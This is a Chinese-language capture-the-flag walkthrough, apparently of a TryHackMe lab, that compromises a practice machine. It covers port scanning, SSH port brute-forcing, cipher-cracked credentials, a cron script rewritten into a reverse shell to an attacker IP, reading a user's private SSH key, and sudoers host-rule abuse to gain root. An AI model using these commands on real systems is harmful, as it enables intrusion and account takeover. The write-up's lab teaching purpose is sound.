直接访问网址发现访问不了,尝试使用nmap扫一波端口
1 | nmap -sC -sV 10.10.238.101 |
结果
可以发现不仅22端口开了ssh服务,从9000到13783端口都有ssh服务
尝试连接9001端口
1 | ssh -p 9001 test@10.10.238.101 |
如果出现下面的报错
1 | Unable to negotiate with 10.10.238.101 port 9001: no matching host key type found. Their offer: ssh-rsa |
就在/etc/ssh/ssh_config下面加上HostkeyAlgorithms +ssh-rsa
会发现返回Lower
那换一个大的端口呢
1 | ssh -p 13783 test@10.10.238.101 |
会返回Higher
这就很明显了,让我们找到对的端口来连接,就用二分法来找吧
最后找到正确端口10412
也可以使用bash脚本进行
1 | for i in $(seq 9000 13783); do echo "connecting to port $i"; ssh -o 'LogLevel=ERROR' -o 'StrictHostKeyChecking=no' -p $i test@10.10.2.112;done | grep -vE 'Lower|Higher' |
1 | #LogLevel=ERROR 设置安全等级为最低级,这样就不会显示报错消息 |
他返回了下面的内容
1 | You've found the real service. |
Jabberwocky
这个看起来就是将字符打乱了,可能是维基利亚密码,使用这个网站进行解密【他会自动爆破密钥】
得到密码bewareTheJabberwock
然后他会告诉我们用户和密码
1 | jabberwock:SubjectsWatchingShynessProvided |
1 | ssh jabberwock@10.10.238.101 |
进去后查看user.txt,得到
1 | }32a911966cab2d643f5d57d9e0173d56{mht |
将其逆序输出
1 | str='}32a911966cab2d643f5d57d9e0173d56{mht' |
然后这里有两个文件poem.txt
和twasBrillig.sh
,这个脚本
1 | wall $(cat /home/jabberwock/poem.txt) |
就是用来输出诗句的
然后再看看当前用户可以不用密码执行哪些其他用户的命令sudo -l -l
1 | Sudoers entry: |
可以以root的身份执行重启命令,他为什么会给重启,可以去看看cron定时任务,可能会有相关信息
查看etc/crontab
,发现有这样一段指令
1 | @reboot tweedledum bash /home/jabberwock/twasBrillig.sh |
没当机器重启的时候,就会以tweedledum的身份去执行twasBrillig.sh
,我们可以修改这个脚本的内容,然后重启这个机器进行提权
twasBrillig.sh
修改为反弹shell
1 | bash -c ' bash -i &> /dev/tcp/10.18.104.32/9999 0>&1' |
然后执行命令
1 | sudo -u root /sbin/reboot |
来重启服务器
攻击机开启监听,等一段时间后就可以得到shell
在/home/tweedledum
发现了humptydumpty.txt
1 | dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9 |
貌似为hash值,使用这个网站进行解密https://crackstation.net/,得到
最下面那个不是hash,用16进制解码一下,得到密码
1 | the password is zyxwvutsrqponmlk |
看来这个就是用户humptydumpty
的密码了,切换用户
1 | su humptydumpty |
他会报错
1 | su: must be run from a terminal |
使用python的pty模块,执行以下命令,获取伪终端
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
alice用户的.ssh目录可以访问,虽然不能列出文件,但是可以打印alice的私钥文件id_rsa
复制到本地,保存在一个文件中,并赋予相应权限,只有
1 | chmod 600 key |
然后使用命令
1 | ssh -i key alice@10.10.2.112 |
来登录alice用户
使用linepeas.sh来找可能存在提权的地方,这个就攻击机开个服务,让目标机下载就行
在/etc/sudoers.d/alice
存在对alice的sudo规则,当sudo -l
需要密码而不知道的时候可以看看这里的文件
1 | alice ssalg-gnikool = (root) NOPASSWD: /bin/bash |
下面的是sudoers文件的语法
这里说明alice只能在ssalg-gnikool主机上才能使用root用户执行/bin/bash
使用命令
1 | sudo -h ssalg-gnikool -u root /bin/bash |
-h 可以指定主机
虽然没有解析成功,但是还是到了root权限
最后在/root得到root.txt,还是要逆序一下
1 | str='}f3dae6dec817ad10b750d79f6b7332cb{mht' |